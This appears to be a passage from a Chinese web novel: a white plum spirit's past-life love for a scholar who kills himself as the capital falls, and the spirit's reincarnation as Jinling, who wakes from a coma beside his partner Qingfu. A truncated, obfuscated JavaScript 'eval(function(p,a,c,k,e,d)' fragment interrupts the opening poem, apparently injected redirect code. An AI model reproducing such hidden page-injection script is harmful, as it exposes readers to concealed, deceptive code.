觐灵看着自己延伸的枝干,嫩绿的花苞,皑洁的花朵,闻到自己身上的梅香,他恍然,原来,我就是它。 他本是一株白梅,有着六百年的道行,就快登仙籍,如果它能逃过那场灾难的话,如果它能逃过那场情债的话。 “春风岭上淮南村,昔年梅花曾断魂。 岂知流落复相见,蛮风蜒雨愁黄昏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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很多人照料过他,赵子钧的曾祖、祖父、父亲、一代又一代,但是它仅记得赵子钧从孩提时代到成年的模样。 琴声不绝,宾客仍在吟唱。 它想起来了,赵子钧辞官,正在家赋闲,平日与宾客不过是喝酒吟唱。但又不解,这位颇有抱负的俊才,为什么如此消沉。 夜深,酒宴散去,赵子钧卧醉寝室,姬妾为他垫枕,铺被。 姬妾容貌妩媚,身材娇弱,遍体香气。 她摘去花簪,解去褙子,露出绿色主腰,袒露的肤脂如羊脂白玉。 纤纤素手摘去赵子钧头上簪花,那枝白梅被丢弃于地,蒙上尘灰。它透过琐窗,看到这一幕,对歌姬生出几分恼意。 歌姬轻巧地将赵子钧的鱼带解下,圆领脱去,赵子钧带着魅笑,勾住歌姬的脖子亲吻。 它想别过脸去不看,能耐它无法挪动身子,它是一棵树。 即使它是一棵具有灵性的树,也无法将根系移动。 为什么我是一颗树,而不是人,如果我是一个人,我要推开姬妾,将那枝落地的白梅簪回赵子钧的发上,将……我要做什么呢? 它为自己的想法而吃惊,它不要赵子钧属于他人,它不想看到。 这种执念是如此的强烈,在寝室内的声音停止时,它发现自己脱离了本体,有了不同于树的实体,那是它轻盈如风的化身。 惊喜之余,想起这里的土地曾告诉它,世间万物都有灵,灵力随着时间增加,灵力越大就越能随心所欲变化,不受自然法则束缚。 它化作一缕梅香,进入寝室,端详沉睡中的赵子钧,它缠绕他的鬓发,脸庞,它的碰触轻盈、柔软如羽毛,它拂过他轮廓完美的嘴唇,从那里获取气息。 忽然,它意识到自己不该这么做,为自己的行为羞赧,它熄灭烛光,附回树身。 寒冬,赋闲的赵子钧不时于树下设宴,和宾客边赏花边酌酒,宾客也常抚摸梅树,说百年后,他们早已腐朽,梅树犹存。 它喜欢这些宾客,发现宾客大多琴艺高超,尤其那位被唤作云水先生的男子,他弹琴时,连院子里最不安分的精怪都会安静倾听。 这是一段美好的时光,它在雪中愉悦地舒展枝干,妄图为人们遮雪挡风,它默默地在寒冻里绽放,喜悦于人们对它发出的赞叹。 “墙角数枝梅,凌寒独自开。遥知不是雪,为有暗香来。” 赵子钧拣起它飘落的花瓣,吟出一首梅花诗,轻唤它为“暗香”。 暗香,清幽的香气,不张扬,不霸道,柔美似秋水,恬静如月光,他赋予它这般的性情。 春去秋来,赵王孙和他的宾客在梅树下聚会,渐渐地,他们不再狂饮,筵席上也不见歌姬,再听不到他们之间的谈笑声,只有琴声依旧。 “若是到那九鼎沦陷之时,吾当以身殉国!” 一日,宾客中有人慷慨陈词,其余人或闷声喝酒,或默默落泪。 白梅始终是沉寂的听众,它知道大祸降至,亦感到恐慌。 九鼎沉沦是怎样的景象,它还没经历过。 这一次聚会过后,宾客鲜少再前来。 白梅想,自己将孤零零被遗弃在这里,赵宅的人们开始离开,大人孩子,仆从丫鬟。 它没有看到赵子钧离去,它既惊喜又担忧:他留下来了。 宅邸再不见往日的热闹,仅剩赵子钧及几位仆人,宾客再不曾上门。 赵子钧经常在白梅下独酌,仿佛将它当成他往昔的那些交友,会与它倾谈。它只能静静地听,它开不了口,它也安抚不了赵子钧的悲痛之情。 每当赵子钧在梅树下睡去,它都会化为微风,缠绕、盘旋在他身边,吹拂他的发丝,轻抚的脸庞,怜惜他的孤寂且憔悴。 每每这时,白梅总会想,如果自己有实体该多好,它可以进屋去取氅衣,为他披上,它可以有一双人的手,去爱抚他的脸庞,就像他爱抚自己时一样。 它多想能发出人的语言,它多想能跟他说:我会一直陪伴你,直到永远。 20. 第 20 章 一动不动守在觐灵病床前,卿甫那副呆滞的模样有些骇人,仲敏和梓晴不敢将他一人留在病房里,他们轮流照看昏迷不醒的觐灵与精神恍惚的卿甫。 梓晴将的夜宵递给卿甫,见对方只是摇了摇头。 “你不吃饭总得喝口汤吧。” 仲敏将一碗汤塞到卿甫手中,见对方接过去,他舒了口气。 不说卿甫,就是他和梓晴也是顾不上吃晚饭,拿起手机一看,这都凌晨两点了,难怪肚子这么饿。 “仲敏,你和梓晴回去。” 低头喝汤,声音平静。 仲敏留意到他端碗的手不再颤抖,心想,老赵这回受了不小的惊吓,朱馆主得赶紧好起来啊。 “我随便哪里都能睡,我留下,梓晴你回去吧。” 听见仲敏的话,梓晴摇了摇头,他也想留下来。 “老赵,你看我们两个人在,要打水,要买饭多方便,有什么事你尽管吩咐我们。”仲敏如是说。 “你们回去休息,我一个人照看得来。” “行吧。” 仲敏对梓晴使了使眼色,他答应卿甫。 两人在病房外商议,决定仲敏留下,梓晴回去睡觉,明日,梓晴再过来换仲敏。 “我真怕夜里就老赵一个人,他会撑不住,他这是吓破胆了,陪着他们我才放心。” 梓晴把自己的围巾递给仲敏,说:“晚上冷。” “回去路上小心点。” “嗯。” 送走孟梓晴,仲敏返回病房,卿甫看他去而复返,也没说什么。 卿甫始终盯着仪器,话也不说,仿佛一块木雕,仲敏熬至凌晨四点,困得不行,在折叠椅上睡着了。 凌晨的医院并不寂静,病房外偶有护士走动的声音,卿甫也不是坐着一动不动,当点滴快输完时,他起身按铃叫了护士。 护士离开后,外面许久没有声响,也没有话语声,咳嗽声,大部分病人和陪护的家属都睡去了。 卿甫掖好被子,低头去看觐灵的脸,他的脸色比先前好上许多,微颦的眉头也舒展了。 “我很后悔,没有早点去接你。” 卿甫低语,声音很轻很轻。 “在这件事发生之前,我隐隐有种不安感,有时送你下车,看着你平安离去,我才会放心。” “觐灵,我害怕失去你。” 卿甫握执住对方的手,将唇贴在手背上:“我定制两枚对戒,店员通知我已经做好了,我本来打算明日去拿。你一枚,我一枚,不离不弃,相伴终老。” 抚摸觐灵那琴师般修长的手指,卿甫与他十指相扣:“别睡太久,不要沉迷于梦中,早些醒来,我很想你。” 卿甫喃喃低语,声音真挚而温柔。 觐灵无知无觉,他被困在八百年前的记忆之中,被纠缠着,无法脱身。 ********************** 月光下,白梅盛放,雪花飘舞。 赵子钧在院中踱步,云水先生前来,他唤仆人在梅树下设席,两人对饮,谈的都是敌军围城的事情。 “听说你还在宫中任职,我想也只剩你了。” 赵子钧亲自为云水先生倒酒,也为自己倒上一杯。 云水先生哑哑而笑,端酒一饮而尽,甩袖擦唇,喃语:“他们说守不过今晚,宫里的人都逃光了,太皇太后已经决定抱圣上出城降贼。我过来,是来跟你辞别。” 赵子钧沉默饮酒,一杯接一杯,好会才抬起头,望着云水先生,喟然长叹:“我已知晓,事已至此。” 事已至此连叹三声,悲痛难以自抑。 “再为我倒上一杯酒吧,这杯饮下,暖肠舒胃,足以抵御北地的寒冷。”云水先生擦去眼角的泪水,微笑地递过空杯。 他亦微笑,缓缓酌酒,说道:“我也陪你再饮一杯,路上珍重。” 站起身,他饮尽这杯践行酒,云水先生亦如他,一饮而尽。 云水先生离去,赵子钧独酌,雪花梅花飘满锦服,他轻轻拍去,留意到不只是雪花,还有白梅花瓣。 他抬头,见梅花伴随着雪花飘落,纷纷坠地。 抓住一朵飘舞在半空的梅花,将它捧到唇边,亲吻它娇弱的花瓣,轻轻说:“你也能感应到今夜的悲恸吗?” 他拍落手里的梅花,走近梅树,像往常一样轻抚它的树干,喃喃念叨:“几百年的风雨,你都经历过,也把今夜铭记。今夜之后,这里曾经的繁荣都不复存在,惟有你还毅然挺拔,风雪不侵,再一次目睹这人世的悲怅与无奈。” 他手上的温度,传达给它,他的悲痛也传达给它,它很想说话,但是它无法发出人的语言,唯有那陪伴雪花坠落的花瓣,能传达它的哀伤。 我们要分别了是吗? 我并非一直毅然挺拔,风雪不侵,我也会被寒冬积雪压弯腰肢,也会被彻骨的北风冻伤肌里,为何要将坚韧寄托于我的身上。 几百年的风雨,刻在我纹理上,人世间的悲苦烙在我的灵魄之中。 我无法抑制我的悲伤,这九鼎沉沦的悲恸,化为别离的心碎,远去的往日故友——他们也是我的故友啊,他们永远消失了吗?离去的云水先生,他将去陪伴年幼的皇帝一并被俘北上吗? 赵子钧,快离开这里吧,像人们说的那样南下吧,你不要留在这里。 梅树的语言,赵子钧听不懂,他只听到身后仆人喊他的声音,此时已是凌晨,城外火光冲天,城内不时传来忽远忽近的哭喊声。 “北兵入城了!官人,快逃吧!” 仆人神色慌张地冲进来,已不顾尊卑,拽住赵子钧的袖子,就往外扯。 他没有动弹,神色依旧,看向仆人轻笑道:“山河破碎,大势已去,还能往哪逃?你们散去吧,府中财物尽管取去,不必留于贼人。” 仆人跪在地上,本还想哀求,听到外头的哭喊声,仓皇失色,在地上拜了三拜,抱头奔逃。 赵子钧仍坐在席上饮酒,慢慢独酌,听到外面响亮的马蹄声与彼此起伏的哭喊声,他无动于衷。 他缓缓倒了杯酒,敬向白梅,琥珀色的酒渗入雪地,他微笑地摸了摸树干,淡淡地说:“只剩你跟我了。” 身后,进入院子的敌兵快速朝他移动,赵子钧听到声响,没有回头。他手按在腰间佩剑上,“唰”一声抽出长剑,银光闪耀。 长剑划过脖子,血如喷泉,溅洒在白梅上。 赵子钧缓缓倒下,躺在雪中,脖间的血仍在流淌,他痛苦地爬行,用最后一点力气翻身,仰望白梅。 雪仍在飘落,白梅纷落,将他的尸体逐渐掩盖。 不要! 白梅喊不出一声。 白梅无法去制止,它的花瓣洒落在他的额上,唇上,这是它的泪水。 他的血渗入地下,被它的根系吸食,他们溶为一体,你中有我我中有你。 它本是株梅树,不该有悲痛的情感,不可能感受到心碎,但是它的心碎了,它落尽所有的花瓣,只剩秃秃的枝杆,在严冬大雪中,奄奄一息。 赵子钧,史书中没有关于他的记载,他身亡之时,正值都城沦陷,天下大乱之际,无人知晓他的生死去向。 白梅的修行到此为止,它再也恢复不了往日的风采。 春日到来,它的叶子稀稀拉拉,它的好些枝杆枯死,遭虫蛀食。 它像一个迟暮的老人。 没有主人的院子,盗贼不时光顾,没有人留意到它,它淹没于杂草丛中,为世人遗忘。 再没有高风亮节的琴师在它身旁鼓琴,再也听不到那人悦耳的声音,听不到那些让它喜悦的赞美。 有一年冬日,花期一到,白梅开始艰难地长出花蕾,绽放花朵,它开出红色的花,像血一样的红色,它在将它几百年的灵力毁于一旦。 人们惊喜地发现了它,说这曾是一棵白梅树。 花期过后,白梅的生命就像被燃尽一样,日益枯萎,再无一丝生的气象。杂草长得更高,渐渐有将白梅吞噬的迹象,它视若无睹。 “梅公子,你也历经数百年的时光,再修炼些岁月,登仙籍不难,何必这般自残。” 童颜鹤发的老道站在梅树下,手中麈尾挥舞。 “我能用我的生命,去还他的再生吗?”白梅哀求老道,抖动着光秃染病的枝干。 “荒谬,如何完成,那人的元神早已入五道轮回!况且,你所剩不多的灵力,能增益我多少道行。” 老道轻嗤,他舞动袖子,扬起一阵风,将身边的景物都抹去,仅遗留白梅与他。 “七十年后,将有一名男子寻梅至此,此人善丹青,嗜梅花,你入他画,灵力必有增益。好好修炼吧,树是树,人是人,不要再有那些痴念。” 老道并不是坏人,他给白梅指出一条正道。 “七十年后,你我还能再见吗?我曾听土地说,千年能修炼成仙,不受法则束缚,可以随心所欲,那便也能幻化为人吧?我无欲登仙籍,你可否携我到人间一趟,十世轮回,总还能见他一面吧。老神仙,求求你了。” 白梅哀求,如果它能跪拜,已伏在老道的脚下。 “冥顽不灵!” 老道恼怒,不再理会,拂袖而去。 梅树苦苦等待画梅人,七十年后,一位弱冠男子和书童翻过残垣断壁,来到白梅前。 书童从包袱中取出笔纸,弱冠男子站在梅树下喟叹:“都说这里有株千年古梅,本是白梅,却在兵燹之火到来时开出红花。今日一见,花色雪白,皑洁美好,不知开红花时,是哪般景象。” 弱冠男子在梅树下停留三天,画出一副梅花图,图中所画梅树一株,枝头点缀数朵白梅。 这之后,有一天,数名乞丐前来到这间破院入宿,天寒拆门窗生火,却不慎重,燃着院中齐膝的枯草,火势冲天,叫花子夺门而出,更无人抬水救火。 眼看大火就要烧及自身,白梅望了一眼荒凉的院子,想起往日的那些繁华,那些非凡的人物,它没有发动灵力护身,任由火光蹿上树枝,将它 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觐灵的额头被人用力一点,他从梦境中醒来,发现自己悬浮在虚无之中,一位老道在面前正看着他。 低头见自己身穿现代的衣物,血迹斑斑,觐灵回忆起搭乘公交车出事故的情景,知道如今是灵魂状态。 觐灵对老道恭敬行拜礼,抬头呈词:“十世之约不敢忘,只是我本命不该绝,那时遭遇灾厄,欲救他人,而遭恶鬼暗算,实不甘心。” 老道将袖中《梅花图》抛予觐灵,觐灵打开一看,画中的梅花黯淡模糊,即将消失。 “每一世轮回,都会消耗你的灵力,这一世已是大限。” “我知晓,无憾。老神仙我本命不该绝,可否……” 觐灵点头,他知道,自己将失去最后一点灵力。 老道显得很无奈,说道:“罢罢罢,你回去吧!” 随着袖风飞动,不久觐灵有坠落感,他急忙睁开眼睛,正对上卿甫的脸,卿甫握着他的手,激动地看着他。 “卿甫……我回来了……” 觐灵翕动双唇,对卿甫虚弱地微笑。 卿甫抱住觐灵,说不出一句完整的话语。 数世轮回,觐灵早就不是当年的白梅精,遗忘了自己的前尘往事,卿甫也不是赵子钧,他只是有着赵子钧的容貌,其他,少有相似的地方。 觐灵不知道前面几世的轮回中,他们是否相逢过,是否相知过,只在乎这一世,他的心愿得以达成。 ********************** 等仲敏睡醒,天亮着,病房里一堆医生,查房的时间到了,医生们围在觐灵床前,仲敏看不见觐灵,被一大群人挡着,但他看到卿甫脸上疲惫的微笑。 显然,朱馆主醒来了。 真好。 觐灵出院时,仲敏和梓晴都来接他,四个人坐一辆车上,欢声笑语。 司机是卿甫,副驾驶座上坐着觐灵,两人的脸上都洋溢着微笑,阳光洒在觐灵白皙的脸庞,他抬起手将额前稍长的刘海往耳边拨,他的手指上有什么东西在闪闪发光。 卿甫左手上也有一束光芒,那只手一直握住方向盘,那束光更为显眼。 他们手上戴着对戒。 又是一年春日,镜湖公园的梅花开了,湖堤上游客众多,卿甫与觐灵在梅林散步,两人来到一处相对僻静的地方,在那里见到一棵高大的白梅树。 风起,白梅纷落,仿佛是雪。 “觐灵,风中有阵阵梅香。” “嗯,我闻到了。” “这味道真令人怀念。” 卿甫靠近觐灵,他贴近对方耳边,那动作像似在嗅闻。 “能闻到吗?”觐灵眉眼含笑。 “不能。”卿甫摸了把对方的脸,言语温柔。 去年,觐灵发生车祸,那之后,卿甫再闻不到觐灵身上的梅香。 “我也看不见鬼魂了。” 觐灵望向梅林深处,以往的经验,这类幽深僻静的地方,是鬼魂喜欢出没的场所。 “我成为真正的人。” 他的笑容在嘴角潺湲,卿甫有亲他的想法,但不远处传来脚步声,让他不敢胡为。 “几百年的道行毁去,你可曾觉得可惜?” 抚摸对方的脸庞时,肌肤的温度传递至指腹,卿甫的眼眸饱含深情。 摇了摇头,将手覆上卿甫的手背,觐灵回道:“不曾。” 去年,觐灵遭遇车祸,醒来后,告知卿甫自己与他的前尘往事。 觐灵前身是一株白梅,不是人,是精怪。 “下雪了,下雪了!” 一阵风起,白梅飞舞,远处传来小孩欢呼的声音。 卿甫与觐灵抬头,望见纷纷下坠的白梅,有花瓣落在觐灵头发,肩上。 抬手轻轻拂去,卿甫吟道:“遥知不是雪,为有暗香来。” 觐灵的身影一怔,眼中噙泪,卿甫吻上恋人,两人拥抱在一起。